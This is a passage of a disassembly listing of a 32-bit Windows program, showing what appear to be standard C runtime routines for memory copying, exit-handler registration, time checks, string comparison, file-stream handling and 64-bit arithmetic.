loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC91C
		call	sub_422608
		mov	edx, dword_4DC91C
		pop	ecx
		mov	ecx, dword_4DC918
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC91C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC918
		sub	ecx, dword_4DC91C
		mov	dword_4DC91C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC918, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC918, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC91C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC91C
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC91C
		mov	dword_4DC918, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 27501DDh
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2850000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB2E2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB2E0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB2DE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB2DA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB2D8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB2D0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2840000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB2D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB2D0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB32C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB278, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26703ADh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2660D84h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB278, 0Dh
		mov	dword_4DB27C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
